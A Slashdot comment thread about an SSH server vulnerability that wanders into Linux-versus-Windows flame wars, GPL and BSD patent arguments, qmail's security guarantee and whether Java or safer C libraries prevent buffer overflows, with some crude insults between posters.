    1. Security flaws in Linux might be that if someone can press twenty keys at the same time at a particular moment on the local machine then they might be able get shell access and then, depending on the setup they might be able to escelate that to root access, that sort of obscure hard to do flaw, although of course there are serious flaws that get fixed quick.

    Windows vulnerabilities (or at least those we hear of) are generally serious and potentially catastrophic. (Remote harddrive format anyone?)

    >2. You yell loudly TROLL! at any person's post or at any person you see posting facts that you do not want to hear about your oh so cool linux.

    2. I'm not trolling here, i'm replying, and I've not seen many facts hidden inside your troll.

    >3. You know it's a classic case of penis envy, you don't have all the support, software and hardware available for linux and you have to let that anger out somewhere, but you don't have the brains to admit it.

    3. My machine does exactly what I want it to. I am not envious of winamp, I have mplayer. Mplayer rocks! My nvidia card performs better under Linux than it ever did under Windows. DVD region codes have never been a problem either.

    I have nothing to be jealous of.

    >4. You hate windows, hate Microsoft, but race to emulate windows, have programs to run office from within linux, and spend a $300 on a Windows emulator, only Windows fools.

    4. The only reason I need to run Windows programs is to preview webpages in IE, and usually I wish I'd never since its support for a pretty basic standard is appalling.

    The software I use to do this is VMWare which can of course be used to run any PC OS. It's a very good piece of software. Does it run as well under Windows?

    >5. You cannot admit that you don't have professional usage of Linux outside server markets.

    5. Other than most of the special effects industry in Hollywood, or large portions of German Government, NASA etc.?

    >6. You cannot admit that most of the joe user out there when told that there is linux will respond, what is that?

    6. Not these days. These days I mainly hear "I've been meaning to try that, I've heard it's really good."

    >7. You cannot admit that there is no professional printing capabilities in linux.

    7. I don't understand that one? Aren't TeX and the like the original printing solutions? (and I can produce pdfs without paying a penny under Linux too)

    >8. You cannot admit that you are a masochist (otherwise why would someone spend hours playing with scripts,
    and recompiling programs that are available for Windows?)

    8. Okay, install apache under Debian, and then try it under Winders. Tell me which one takes longer...

    >9. You cannot admit that there is no professional desktop publishing done on Linux.

    9. Erm, how much proffessional dtp happens under Windows then? I thought that was Mac terretory, you know those computers that can run Linux but not Windows, the ones that uses an alternative Unix-like OS.

    >10. You cannot admit that no one in their right mind would do professional video editing in Linux.

    10. Nobody in their right mind would do it under Windows either. Except of course the movie industry and the custom Gimp being developed might debunk your assertion slightly.

    >11. You cannot admit that linux sucks when it comes for gaming/home entertainment or education.

    11. Okay, the games I can play native under Linux are far better than they would be under Windows so that's a crock for a start.

    As I mentioned earlier Mplayer ROCKS, and you need little else to watch video under Linux.

    As for education, can you point me to a suitable environment under Windows where I can learn a cross platform language without having to pay a fortune?

    --
    - Just because you're paranoid it don't mean they aint out to get you.
  62. Re:Could you clarify this? by raboofje · · Score: 1
    Could you explain your statements a bit?


    >> BSD can be highjacked anytime


    How do you mean? The current versions of BSD-licensed software obviously cannot be suddenly 'un-BSD-licensed'. New releases of the same software may be licensed under another license, but this is no different from GPLed software


    >> doesn't protect you from patents


    Err, sure, but the GPL can't protect you from patents either, obviously.


    (don't get me wrong, I usually prefer the GPL for my own projects, but it's a bad thing to attribute properties to it that it can't live up to)

  63. Welcome to Slashdot by Anonymous Coward · · Score: 0

    The world's largest honeypot for trolls.

    Helping to free other real discussion web sites from trolling.

  64. Yet another SSH server by Anonymous Coward · · Score: 4, Informative

    There's always Dropbear, which seems fairly small and useful, and does SSH2.

    Mmmmm. monoculturelicious.

    1. Re:Yet another SSH server by Anonymous Coward · · Score: 0

      Not to malign a good effort, but I think Dropbear's concentration on size (for leaf) could mean it is more vulnerable. I looked at the source, and it is clean but perhaps too spare.

      Consider the snprintf() calls. On the plus side, it is using snprintf(), with presumably the right value for n. But on the minus side, it doesn't seem to raise errors when n is reached.

    2. Re:Yet another SSH server by Anonymous Coward · · Score: 0

      http://www.secunia.com/advisories/9542/

      > A vulnerability has been identified in Dropbear SSH Server, which can be exploited by malicious people to compromise a vulnerable system.

  65. Suggestions are more than welcome. by Anonymous Coward · · Score: 0

    As you know ALL of Theo's flaws, go write the better SSH.

    1. Re:Suggestions are more than welcome. by aliquis · · Score: 1

      I think you missunderstood me, I like OpenBSD and the stuff they release and work on. And I do understand that it's not that easy to get rid of all the bugs.

  66. Re:Could you clarify this? by RoLi · · Score: 1
    How do you mean?

    Have you been living under a rock during the last 30 years? Just look up the history of Unix.

    The current versions of BSD-licensed software obviously cannot be suddenly 'un-BSD-licensed'

    That doesn't help much if your great BSD-code is not running on the needed hardware or with the needed software or with the needed protocols.

    That's what happened with Unix: Hardware vendors made sure that only their proprietary version would run on it, so the original BSD-code became useless.

    The same could be done by using software, protocols or patents instead of hardware.

    Err, sure, but the GPL can't protect you from patents either, obviously.

    Wrong. If you use GPL-code, you agree to wave any rights of patents you might have.

    The effect?

    If Sony and JVC do a joint project under the BSD license, and Sony has some obscure patent on it, JVC is screwed and Sony essentially owns their work.

    If Sony and JVC do a joint project under the GPL license, and Sony has some obscure patent on it, nobody is screwed because Sony would not be allowed to use the project under the GPL if they want to enforce their patent.

    And that's exactly why joint projects between companies are much, much more preferrable under the GPL.

  67. Re:How to tell if you are a linux fanatic. by Anonymous Coward · · Score: 0

    half a point for me. Hoped for a full reply, not a one-liner. Double troll, to troll the troll guy into replying. If I was as smart as YOU think ("not") I wouldn't AC.

  68. Re:How to tell if you are a linux fanatic. by Anonymous Coward · · Score: 0

    "Wouldn't of"? What kind of fucked up English is that?

    Twatnozzle.

  69. Oh come on ... by Anonymous Coward · · Score: 0

    You know full well that Jupiter's gravity would probably squish a computer like a bug. :P That, and the planet is gaseous so I don't know that there is a bottom.

    Then again flat as a pankake would be pretty secure. Just make sure the case isn't black or 1x4x9 ...

  70. Re:How to tell if you are a linux fanatic. by Aldric · · Score: 1

    Access? Powerful? You're not serious. Swap Access for SQL Server and then you may have a case.

  71. Of course it can by Anonymous Coward · · Score: 0

    Read up on stunnel, you insensitive clod. :)

  72. Re:How to tell if you are a linux fanatic. by Anonymous Coward · · Score: 0

    Congrats fuckface. You just made it onto my foes list. The only reason I threw around words like asshat and faggotass is because that's all you guys seem to get riled up about. You M$ loving shitheads are always on about how you want to take someone and cut them open while jizzing all over their open gut. Then you call THEM the "sickos". I'm not homophobic because I'm bisexual. If anything, I'd say it's you who are the homophobe because it's the only part of my reply you cared to comment on. You couldn't take on the reasoned and well thought out answers posted above becuase you and your kind don't have a leg to stand on. Again, your failings in logic shouldn't be aired on Slashdot. It's just too damn embarassing. Now grow the fuck up and move out of YOUR mom's basement.

  73. Cleaner == Better? Uh... by tqbf · · Score: 1
    ... on the other hand, Dan Bernstein's qmail MTA is some of the gnarliest code I've ever read (large portions of it are generated from CPP macros!). Despite qmail's status as one of the top 4 MTAs on the Internet, and huge incentives to find security flaws, Bernstein hasn't had to cut a new release since 1998, and there has never been a security flaw found in the qmail code.

    Bernstein would probably tell you that the problem is not the C language, but in lack of secure program designs (which are language-independent) and error-prone, outmoded standard libraries.

  74. I actually tried to install lsh by Anonymous Coward · · Score: 1, Informative

    In the wake of the recent OpenSSH exploit, mostly because I couldn't find OpenSSH 3.7p1.

    It was -- there's no other way to put this -- a massive, massive, massive pain in the ass. Wanted a bunch of additional stuff installed before it would compile, and, when it finally did compile, the default installation bore no resemblence to an sshd (in the sense of, you know, accepting ssh connections). I finally just gave up and went looking more actively for the patched OpenSSH.

    Yes, yes, I know, I'm just too dumb to realize how great it actually is. All I'm saying is, as a drop-in replacement for OpenSSH, lsh comes up, well, short. It badly needs (1) to have its prerequisite packages streamlined and, if possible, eliminated, and (2) to work like SSH by default.

    Of course, if the goal is to have a package that kinda works like SSH if and only if you know how to make it do so, there's not much work to do.

  75. How to tell if you are a MS fanatic by Bull999999 · · Score: 1

    1. Treat sendmail vulnerabilities as Linux vulerabilities because sendmail can run on Linux.

    2. Treat OpenSSH vulnerabilities as Linux vulerabilities because OpenSSH can run on Linux.

    3. Treat mySQL vulnerabilities as Linux vulerabilities because MySQL can run on Linux.

    4. Treat lsh vulnerabilities as Linux vulerabilities because lsh can run on Linux.

    5. Treat all open source software vulnerabilities as Linux vulerabilities because Linux is open source.

    6. Double counting "Linux" vulnerabilities by counting all the patches put out by different distros.

    7. Ignorant of the fact that Linux itself is not an operating system. Yes, that means that KDE and GNOME are not Linux. In fact, they are not operating systems, either.

    --
    1f u c4n r34d th1s u r34lly n33d t0 g37 l41d
    1. Re:How to tell if you are a MS fanatic by RdsArts · · Score: 1, Insightful

      OK hot shot, how can Linux have any exploits?

      Answer? It can't. It's a kernel.

      Oh sure, there are some cases where it can be exploited from "3rd party" programs, but that's because everything in your "Linux" OS is a 3rd party program.

      Now, is OpenSSH in most GNU/Linux OSes? Yes.
      Sendmail? Yes.
      Apache? Yes.

      So basically, your advice is to say "hey, we've got a rock solid system with Linux. Oh sure, it runs nothing but a kernel, but it runs it so well!"

      Feh.

      For the record, I'm also a BSD user. Just so you know which OS to claim I'm a zealot for.

    2. Re:How to tell if you are a MS fanatic by Bull999999 · · Score: 1

      "Answer? It can't. It's a kernel."

      If you've done your research, you'll know that Linux kernel is not bulletproof and there has been patches out for the Linux kernel.

      It would be unfair to call vulnerabilities for Apache/MySQL/Any other open source programs for Windows are Windows vulnerabilities just as it would be unfair to call vulnerabilities for Apache/MySQL/Any other open source programs for "Linux" and call them Linux vulnerabilities. If I write 1,000 shitty programs full of security holes and if they can run on *BSD, does that mean that vunlerabilities for *BSD increased by 1,000?

      "For the record, I'm also a BSD user."

      For the sake of other *BSD users I'd say you are a MS user pretending to be a BSD user to start a flame war. If you are a true BSD user, you should've known that kernels can have exploits as well.

      --
      1f u c4n r34d th1s u r34lly n33d t0 g37 l41d
    3. Re:How to tell if you are a MS fanatic by RdsArts · · Score: 1

      *sigh*

      If you've done your research, you'll know that Linux kernel is not bulletproof and there has been patches out for the Linux kernel.

      Which is all well and good, had you actually read my post.

      If your only running a kernel, and nothing else, there is nothing TO exploit. Patches or no.

      Of course, the point of my post was to get people to stop this bull of "well, that's not a Linux vunerablity, it's a $PROJECT one," when 9 out of 10 distros come with it, and it's on 9 out of 9 Linux-based servers. Feel free to quote this one line and use it out of context to continue a pro-whatever-you-want bash as a reply.

      It would be unfair to call vulnerabilities for Apache/MySQL/Any other open source programs for Windows are Windows vulnerabilities just as it would be unfair to call vulnerabilities for Apache/MySQL/Any other open source programs for "Linux" and call them Linux vulnerabilities. If I write 1,000 shitty programs full of security holes and if they can run on *BSD, does that mean that vunlerabilities for *BSD increased by 1,000?

      If they're in the base distrobution for a major BSD, than yes. Was the OpenSSH buffer problem a vun for *BSD? Yes. Was the Sendmail exploit a vun in *BSD? Yes. Were they vuns for any GNU/Linux distro that include them as part of their server install? Yes. Are you going to tell me otherwise?

    4. Re:How to tell if you are a MS fanatic by Overly+Critical+Guy · · Score: 1

      Of course, that doesn't stop Slashbots from calling, for instance, Office flaws "Windows holes." Anti-MS zealots started the trend.

      --
      "Sufferin' succotash."
    5. Re:How to tell if you are a MS fanatic by Bull999999 · · Score: 1

      "pro-whatever-you-want bash as a reply."

      Oh boy, you sure are an open minded person, aren't you. I guess what ever you say are the truth and if anyone disagress with you, it's a just a bash.

      "If your only running a kernel, and nothing else, there is nothing TO exploit. Patches or no."

      Why don't you stop taking my quotes out of line? I said that Linux kernel is not bulletproof and there has been patches out. I didn't say anything about just running the kernel and nothing else. But you do need to realise that Windows is a complete O/S where as Linux is not. And the folks at MS argued that IE is the part of the Windows OS so IE vulnerabilities are indeed Windows as they are one and the same. Sendmail or OpenSSH are not one and the same with Linux. It'll be a different story if they offically decided to compile them into the Linux kernel.

      "when 9 out of 10 distros come with it"

      Linus has the final say as what goes into the Linux kernel, not Red Hat, not Mandrake, nor any other Linux distro companies. And far as I know, I do not believe that Linus approved any "Intergrate OpenSSH and Sendmail into the Linux kernel" project at this point.

      --
      1f u c4n r34d th1s u r34lly n33d t0 g37 l41d
    6. Re:How to tell if you are a MS fanatic by Bull999999 · · Score: 2, Insightful

      I'll have to agree with you on that one, as it is possible to run Office on "Linux" and therefore, by their logic, it would also be a "Linux" flaw. However, it would be correct to call it a MS flaw.

      --
      1f u c4n r34d th1s u r34lly n33d t0 g37 l41d
  76. qmail smtpd_auth by dmelomed · · Score: 1

    Idiot. smtpd_auth is not written by DJB.
    Idiot. vchkpw is not written by DJB.

    In other words, you are a troll.

    1. Re:qmail smtpd_auth by Anonymous Coward · · Score: 0

      Sweet. As expected, you bring us around to the dirty little secret of your guranteed-secure qmail...

      Admin: I'm sick of dealing with sendmail at my ISP. What's a nice, secure alternative I can use here in place of it?
      Qdroid: You should use qmail! It's great and it has a SeCuRiTy GuArAnTeE and it's great!
      Admin: Um... how can you seriously suggest qmail for an ISP? I took a look at it and it doesn't have any of the features we need, like SMTP auth, SQL aliasing, or powerful antispam filtering. I was kind of surprised since these are really basic features for an Internet mailserver these days.
      Qdroid: No, no... didn't I tell you it's great? There are jillions of patches that add all the features an Internet mailserver needs!
      Admin: ah!

      time passes...

      Admin: wtf! I was pwned because of a vulnerability in my qmail server! I thought you said it was secure!
      Qdroid: Idiot! Qmail is secure... the guarantee has never been collected on and that proves it! You were hacked because of a vulnerability in one of the patches you added!
      Admin: wtf??? I had to add those patches or else I couldn't have used qmail at all!
      Qdroid: Troll! What do you mean you need patches? I run it here at home and I don't need any patches!

      The fact is that qmail has been a dead project for years now... all the stuff that has to be added to make the software at all useful as a real mailserver has to be done using third-party code. End result: djb's much touted security guarantee is totally meaningless in any practical sense.

      P.S> I see you totally ignored the memory allocation related vulnerability in your reply. Good call. It would have made the straw man look funny.
    2. Re:qmail smtpd_auth by dmelomed · · Score: 1

      The memory allocation "vulnerability" isn't a vulnerability at all. As documented by the author qmail-smtpd's memory limits are best handled by the operating system, not the error-prone and complex data-structure limits Postfix et al. Venema some day failed to add the limit, and systems were probably vulnerable where qmail systems weren't since the limits are set with rlimit() in the shell or through tools such as DJB's softlimit AS DOCUMENTATION recommends.

      Troll.

    3. Re:qmail smtpd_auth by Anonymous Coward · · Score: 0

      Sure... like I said before: to djb it's not a flaw, it's a feature! And, you know what? That's his business, and well in keeping with his rep as the archetype of the uber-opinated developer.

      I just wish that the people who tout the unclaimed security guarantee as if it actually proves that qmail installations are inherently more secure than any other MTA would be more honest about it. If you patch it at all (and you have to if you want any of the innovations that have come about since the half a decade or so that qmail stopped development), the guarantee is no guarantee. Oh, and by the way, admin, if you think that qmail takes steps to protect you from known problems with the OSes it claims to support (as, according to dmelomed, other MTAs do), guess again. dmelomed's replies are typical of the kind of sympathy the misled admin can expect from the average qdroid when the truth comes out. It's also only something the qdroid seems to feel the need to make clear -after- the fact... he's not so eager when he's busy waving the guarantee like a magic talisman in advocacy discussions.

    4. Re:qmail smtpd_auth by dmelomed · · Score: 1

      > Sure... like I said before: to djb it's not a flaw, it's a feature! And, you know what? That's his business, and well in keeping with his rep as the archetype of the uber-opinated developer.

      And not only to DJB. The rlimit() has been present in OSes for a while, unlike you, some people understand the trade-offs between simplicity and efficacy of something like rlimit(), and the error-prone and complex approach that Postfix takes to micro-manage memory allocation.

      > If you patch it at all (and you have to if you want any of the innovations that have come about since the half a decade or so that qmail stopped development), the guarantee is no guarantee.

      And who's claiming otherwise than the trolls such as yourself? This is obvious to anyone who's read it.

      > Oh, and by the way, admin, if you think that qmail takes steps to protect you from known problems with the OSes it claims to support (as, according to dmelomed, other MTAs do), guess again.

      Obviously if you have a serious OS problem that needs to be fixed, no MTA will be able to protect you no matter how hard it tries, and the resulting code would be bloat at best; the DJBs security guarantees are clear about this, you can't blame qmail for OS problems, and you can't blame qmail for problems in the patches - nobody is trying to hide this fact, only idiots that abuse AC for trolling on slashdot make believe otherwise.

    5. Re:qmail smtpd_auth by Anonymous Coward · · Score: 0

      only idiots that abuse AC for trolling on slashdot make believe otherwise.

      We'll see what admins decide about who is right. In the meantime, if I really am a troll "abusing" the option of being labeled an Anonymous Coward, you certainly have been a most obliging sucker. Of course, that's not much of a change from being a most stalwart useful idiot for djb. Cheers!

    6. Re:qmail smtpd_auth by dmelomed · · Score: 1

      > We'll see what admins decide about who is right. In the meantime, if I really am a troll "abusing" the option of being labeled an Anonymous Coward, you certainly have been a most obliging sucker. Of course, that's not much of a change from being a most stalwart useful idiot for djb. Cheers!

      No. it's just I enjoy feeding anti-DJB trolls such as yourself. Funny how they run out of baseless arguments in the end and fall flat on their face. Cheers!

  77. Re:Could you clarify this? by Ded+Bob · · Score: 1

    That's what happened with Unix: Hardware vendors made sure that only their proprietary version would run on it, so the original BSD-code became useless.

    Here shows a convoluted history of UNIX.

    Who wrote SysV? Was it derived from BSD-code?

    Tell the NetBSD folks that their code cannot run on a multitude of platforms.

    Wrong. If you use GPL-code, you agree to wave any rights of patents you might have.

    If you develop with GPL code, you are not allowed to have patents on the code. Use is a different matter. Also, I believe the original poster was stating the fact that just because you develop under the GPL does not protect you from suits from patent holders.

    If Sony and JVC do a joint project under the BSD license, and Sony has some obscure patent on it, JVC is screwed and Sony essentially owns their work.

    Most companies are smart enough to agree on mutual patent use for the project when they do joint work. A license is weak protect in court compared to a signed agreement between companies.

    As far as I know, IBM has not been harmed from working on Apache.

    If Sony and JVC do a joint project under the GPL license, and Sony has some obscure patent on it, nobody is screwed because Sony would not be allowed to use the project under the GPL if they want to enforce their patent.

    If they want to sue, they still can and do. I see SCO's suit has not been thrown out no matter how invalid it is.

  78. Troll? by Overly+Critical+Guy · · Score: 1

    Wait a minute, who was the moron who modded that as troll?

    How is posting a link to a previous Slashdot article trolling?

    Sometimes Slashdot still amazes me...sheesh.

    --
    "Sufferin' succotash."
    1. Re:Troll? by Anonymous Coward · · Score: 0

      you're a dumb troll who can't do anything original or interesting. everyone knows this. you know this too.

      you're getting more and more uninteresting. why don't you take a break from slashdot for a few months and get a life?

  79. Re:Could you clarify this? by RoLi · · Score: 1
    Please don't mix it up.

    Of course no license can protect you from 3rd party patent holders, I think that's pretty obvious, don't you think?

    But a patent holder is not allowed to use Linux and enforce patents against Linux at the same time. If company X has a patent that would be used in project Y, it can either a) waive the patent and use project Y or b) enforce the patent and drop project Y, it cannot do both.

    And that's why the GPL is a pretty good safeguard against corporate lawsuits and so popular for corporate cooperation.

  80. Re:Could you clarify this? by RoLi · · Score: 1
    Sorry, I've missed that:

    If they want to sue, they still can and do. I see SCO's suit has not been thrown out no matter how invalid it is.

    Get your facts straight: SCO never sued anybody for using Linux, they sued IBM for copyright violation. They threatened a lot of people to sue, but they haven't actually sued anybody for using Linux. Because that case would be so ridiculous, even SCO doesn't do that.

    So, yes, the GPL doesn't prevent crazy people from threatening to sue.

  81. How old is C now anyway? by presidenteloco · · Score: 2, Insightful

    A language like Java, with a carefully designed JVM implementation, is not subject to buffer overflow/heap overflow exploits. Is it maybe time to rewrite all of the higher level OS apps in Java? Sure, keep a microkernel in some blazing fast C/assembly code if you must, but there's not reason something like SSH can't be written in Java (in fact it has been.) Why not all of the high-level Linux apps (i.e. the GNU stuff)? If you don't like Java's license, then do as MS did with C#, and clean-room rewrite Java under a GNU project first. I'd do it myself but I'm still trying to figure out how to make a living in this damn business.

    --

    Where are we going and why are we in a handbasket?
  82. troll by Anonymous Coward · · Score: 0

    read his journal
    he's a troll
    just a slacker
    bitching

  83. O'Caml by Anonymous Coward · · Score: 0

    Check out Objective Caml. It's a fast, modern functional/object oriented language. It's compiled, but pretty safe (buffer overflows impossible unless you explicitly turn off bounds checking). Has a lot of nice features, e.g. type inference.

    The only place is falls down are the libraries. Not that they are really poor, but nowhere near what Java/Perl offers.

  84. Re:How to tell if you are a Linux fanatic by Keeper · · Score: 1

    1. Treats the ability to open attachments in Outlook as a windows vulnerability.

    2. Treats IIS vulnerabilities as Windows vulerabilities because IIS runs on Windows.

    3. Treats SQLServer vulnerabilities as Windows vulnerabilities because SQLServer runs on Windows.

    4. Treats DCOM vulnerabilities as Windows vulerabilities because DCOM runs on Windows.

    5. Treats all software problems on Windows as problems caused by Microsoft.

    6. Double counting "Windows" vulnerabilities by counting all of the patches put out for different versions.

    7. Ignorant of the fact that the Windows kernel is exploited as (in)frequently as the Linux kernel.

    8. Frequently talkes about Linux "distributions" in most OS discussions, except when a flaw is discovered in some OSS software that everyone runs -- in which case they run around screaming "Linux is not an operating system!"

  85. More than just linux by bluGill · · Score: 1

    I run FreeBSD on my "linux" machine. There is also NetBSD and OpenBSD for those concerned that linux isn't diverse enough.

    Sure Linux is the most popular openSource OS kernel, but it isn't the only one. FreeBSD averages out just as good. (better in some areas, worse in others - mostly you can't tell the difference) The others aren't as good overall, but each claims something major that might make it worth running anyway. (openBSD is secure, netBSD runs on everything)

    1. Re:More than just linux by pantherace · · Score: 1
      netBSD runs on everything

      Care to show it running on a Sharp Zaurus?

      I asked some netBSD people at LinuxTag, but they didn't know of any support for it (other than arm/strongarm in general)

      Linux runs on it, does NetBSD? If so, please post a link.

    2. Re:More than just linux by bluGill · · Score: 1

      I'm not a lawyer, and I do not normally post obvious legal disclaimers. However here is an attempt.

      NetBSD makes a best effort attempt to support all general purpose computing devices with a minimal required set of hardware abilities and legally obtainable specifications. However no gaurentee is made that any particular device is supported.

      Happy now? I'm sure a real lawyer could not only word that better, but also find some loophole that I missed, but you get the idea.

      Seriously though, linux may from time to time support more systems, or different systems. However except for a few popular platforms the support is very lacking. NetBSD supports the most platforms and makes the best effort to make the code easially portable to new platforms.

    3. Re:More than just linux by pantherace · · Score: 1
      I know it runs on some different systems (some early turbochannel DECs come to mind.

      I do kind of enjoy annoying people who make absolutist statements in general. Nothing in particular, except, I would like to know if NetBSD does run (shouldn't be difficult to port for someone with the right background, because it is almost all documented and open (the stupid sd/mmc being the exception)

      About lacking support, that is highly variable with which distribution you use. (I have/am run(ing) linux on x86, alpha, sparc, sparc64, armv4l) Debian does a pretty good job on most. I am trying to get Gentoo (which is ok) to be somewhat easier. Other distros, such as OpenZaurus are very good on the PDA/Embedded.

  86. Re:How to tell if you are a linux fanatic. by TheNetAvenger · · Score: 1

    You couldn't take on the reasoned and well thought out answers posted above becuase you and your kind don't have a leg to stand on

    Well honey, there actually wasn't a well thought out point to even respond to, just a lot of anger.

    I thought a little humor was in order to talk you off the clock tower.

    Next time take five, breath in and breath out before getting upset - it causes frown lines.

    BTW As a card carrying member of PFLaG, I suggest you re-evaluate labeling me a homophobe you're definately barking up the wrong tree.

  87. Re:How to tell if you are a linux fanatic. by TheNetAvenger · · Score: 1

    The software I use to do this is VMWare which can of course be used to run any PC OS. It's a very good piece of software. Does it run as well under Windows?

    Yes, runs quite well. They have done a good job with the product.

    TheNetAvenger

  88. SSL holes by David+Jao · · Score: 1
    Good ol standard SSL wrapping telnet is an unbeatable match.

    The only available free-software SSL telnet implementations all use openssl, or its predecessor SSLeay (please correct me if I'm wrong; I would love to learn about other options). This SSL library has had numerous security updates in the past. I would hardly call this record unbeatable.

    I use telnet over freeswan IPsec, and I like this combination very much, but no matter what you do, you have to be on your toes.

    1. Re:SSL holes by DA-MAN · · Score: 1

      How many were remote root exploits?

      --
      Can I get an eye poke?
      Dog House Forum
    2. Re:SSL holes by David+Jao · · Score: 1
      How many were remote root exploits?

      One.

      Sure, it compares favorably with openssh, but it does not even come close to my standard of not having "any weekness [sic]".

  89. No way.. impossible by Anonymous Coward · · Score: 0

    No... can't be possible... this is GNU/Linux after all, and everyone knows that GNU/Linux is pristine, perfect in every way and completely, totally and utterly bug-free. Only the big evil Microsoft OSes have bugs, so this story must be bogus.

    Can you see the sarcasm dripping from the words?

  90. Re:How to tell if you are a linux fanatic. by Anonymous Coward · · Score: 0
    Well honey, there actually wasn't a well thought out point to even respond to, just a lot of anger

    Anger? Where? I didn't say anything angry. I only stated the facts. Cocknozzle.

  91. Re:How to tell if you are a Linux fanatic by Bull999999 · · Score: 1

    1. Outlook isn't a windows vulnerability, but it is indeed a MS vulnerability.

    2. Same as above.

    3. Same as above.

    4. I guess that logic whould make you a Linux fanatic.

    5. Same as #4

    6. All modern Windows comes with IE which are, by MS's accout, inseperable part of the Windows. Therefore, IE vulnerabilities are Windows vulnerabilities.

    7. Windows OS and Windows kernel is an intergrated product. You can't buy Windows with Win98 OS and NT kernel, whereas, it's possible to use Linux kernel with different OSes, desktops, etc.

    8. I guess you've never been in the discussions about putting GNU infront of Linux as in GNU/Linux, have you? Besides, Linux was never an operating system and never will be. 99% of people on Earth can refer Linux as an OS but it that still doesn't change the fact that Linux is just a kernel.

    --
    1f u c4n r34d th1s u r34lly n33d t0 g37 l41d
  92. Native code by Anonymous Coward · · Score: 0

    It is impossible to do anything of significance in Java without using the VM's implementation of API function foo() or writing a native module to do it yourself.

    So we shift the buffer overflows to a different layer of the stack while sacrificing performance, control (no copyleft), footprint, and maintainability. Yes, you got that right, I am bashing java's maintainability.

  93. Re:How to tell if you are a linux fanatic. by TheNetAvenger · · Score: 1

    Anger? Where? I didn't say anything angry. I only stated the facts. Cocknozzle

    Cocknozzle?

    Yeah, no anger at all... LOL

  94. Re:How to tell if you are a linux fanatic. by Trolling4Dollars · · Score: 1

    You equate insults with anger? I have to laugh.

  95. Duh by R.Caley · · Score: 1

    OK, I missed the reply from TomV. It's early here and I hadn't had by second cup.

    --
    _O_
    .|<
    The named which can be named is not the true named
  96. Reactive hysteria. Anecdotal evidence. by jotaeleemeese · · Score: 1

    Reactive hysteria? Reactive hysteria? In which planet do you live pal, I wanna move there.

    My company, with a hardworking force of well trained Windows administrators, has been brought to a standstill a couple of times this year thanks to the complexity of patching MS insecure software.

    Windows may not be as insecure as most people say, but oh boy, the way to get to a configuration that is barely trustable is full of pain, wasted time and dissapointment.

    Linux and open systems in the other hand are easy to defend and the patching process is more straightforward. This contributes loads to being able to maintain an OS secure.

    If you would have bothered to read the full thread about the article claiming Linux is the most compromised OS you would have realized that the company issuing the warning has no good standing at all and thus its reports are not to be trusted.

    And regarding anecdotal evidence: I have been working with Linux for 7 years now. Professionally. I have not been compromised once. Anecdotal evidence is all what I have, I am not a company doing market or security research, as are not most of the people posting here, but when there is so much anecdoal evidence in favor of one tool like Linux, due attention should be given to this.

    --
    IANAL but write like a drunk one.
  97. Re:Could you clarify this? by Ded+Bob · · Score: 1

    But a patent holder is not allowed to use Linux and enforce patents against Linux at the same time. If company X has a patent that would be used in project Y, it can either a) waive the patent and use project Y or b) enforce the patent and drop project Y, it cannot do both.

    Yes, they are. As long as they did not write any code in Linux or distribute it, they could do both. I see no section in the GPL concerning patents with regards to use within a corporation.

    Of course, this depends on your definition of use. Use as in just run the project or use as in develop off of. The above is in regards to running internally.

    And that's why the GPL is a pretty good safeguard against corporate lawsuits and so popular for corporate cooperation.

    If I was in that situation, I would rather use a BSD license along with an agreement between corporations. It would be easier to defend when you have a signed agreement from your challenger if it went to trial.

  98. Re:Could you clarify this? by RoLi · · Score: 1
    Yes, they are. As long as they did not write any code in Linux or distribute it, they could do both. I see no section in the GPL concerning patents with regards to use within a corporation.

    To use it, you have to agree to the GPL.

    Of course, this depends on your definition of use. Use as in just run the project or use as in develop off of. The above is in regards to running internally.

    You contradict yourself. It doesn't matter wether the company contributed relevant code or anything at all when it comes to patents.

  99. Re:Could you clarify this? by Ded+Bob · · Score: 1

    To use it, you have to agree to the GPL.

    I did not say otherwise. They could use Linux internally while still charging others to use the patents involved.

    You contradict yourself. It doesn't matter wether the company contributed relevant code or anything at all when it comes to patents.

    Read sections 7 and 8 of the GPL. These are the only two sections on patents. They discuss the distribution of GPL'd code. They do not talk about using the code.

    Also, check this FAQ item. This is the version of "use" I am talking about.

  100. Safer C string libraries by dmelomed · · Score: 1

    These libraries already exist. The standard C library is crap, but not many people realize this.

  101. Stack protection by dmelomed · · Score: 1

    Java Java Java Java Java. Blah Java. Language zealotry bad.

    Propolice is stack smashing protection for C, and OpenBSD for instance already ships compiled with protection by default.

    1. Re:Stack protection by Spy+Hunter · · Score: 1

      Java is just an example. I'd be perfectly happy with a form of protection for C, as long as it was complete, 100%, guaranteed protection against buffer overflows and the like. Anything less than that is just asking for trouble.

      --
      main(c,r){for(r=32;r;) printf(++c>31?c=!r--,"\n":c<r?" ":~c&r?" `":" #");}
  102. Better C libraries by dmelomed · · Score: 1

    But there are libraries that are better than the standard C library, which is piss poor. People just settle for the standard C library instead, and suffer in the long run.

  103. Resource exhaustion by dmelomed · · Score: 1

    Using ulimit in your shell, or another rlimit() tool before running the JVM would have prevented your trouble.

  104. Right tool for the job by dmelomed · · Score: 1

    I think any language zealotry is counter-productive and just counter-innovative, whether it's Java or Lisp.

    And yes Virginia, Java can scale just as well or better than C for some tasks, see SEDA for instance. Not such a terrible surprise for those that know Apache still isn't such a great performer any way you look at it.

  105. Java scalability by dmelomed · · Score: 1

    Java can be scalable. See http://www.eecs.harvard.edu/~mdw/proj/seda/">SE DA

  106. Safety by dmelomed · · Score: 1

    Again, C can be much safer with good libraries AND practices. Java isn't THE answer to all our problems. qmail and djbdns are written in C for instance, and do not have a single buffer overflow.

    1. Re:Safety by Spy+Hunter · · Score: 1

      qmail and djbdns are written and managed by one person who is obsessive about security and doesn't use the standard libraries that everyone else does. If everyone coded like him, we wouldn't need to worry about buffer overflows. But people don't, and we shouldn't have to expect them to. The language can and should protect us from most stupid mistakes. We should be able to put a reasonable amount of trust in open-source code that has been modified by many people, some of whom aren't experts in security or even experienced coders.

      --
      main(c,r){for(r=32;r;) printf(++c>31?c=!r--,"\n":c<r?" ":~c&r?" `":" #");}
    2. Re:Safety by dmelomed · · Score: 1

      No, we should expect them to use good methodologies, and good libraries.

  107. Resource exhaustion attacks by dmelomed · · Score: 1

    It's also important to note for the anti-DJB idiot trolls that qmail's resource limits control is DOCUMENTED and recommended - rlimit() in either your shell or a utility such as softlimit.

  108. DJB's software licensing by dmelomed · · Score: 1

    You hypocrits use commercial software with closed source all the time, and don't complain about it either (Netscape's web browser back in 4.x days for instance). Additionally, many of the libraries used in DJBware are public domain.

    DJB uses slashpackage that isn't familiar to most, but solves the packaging problem with a flare that is an eyesore in many Unix OSes. slashpackage isn't a requirement though, and you can back out of it before you compile.

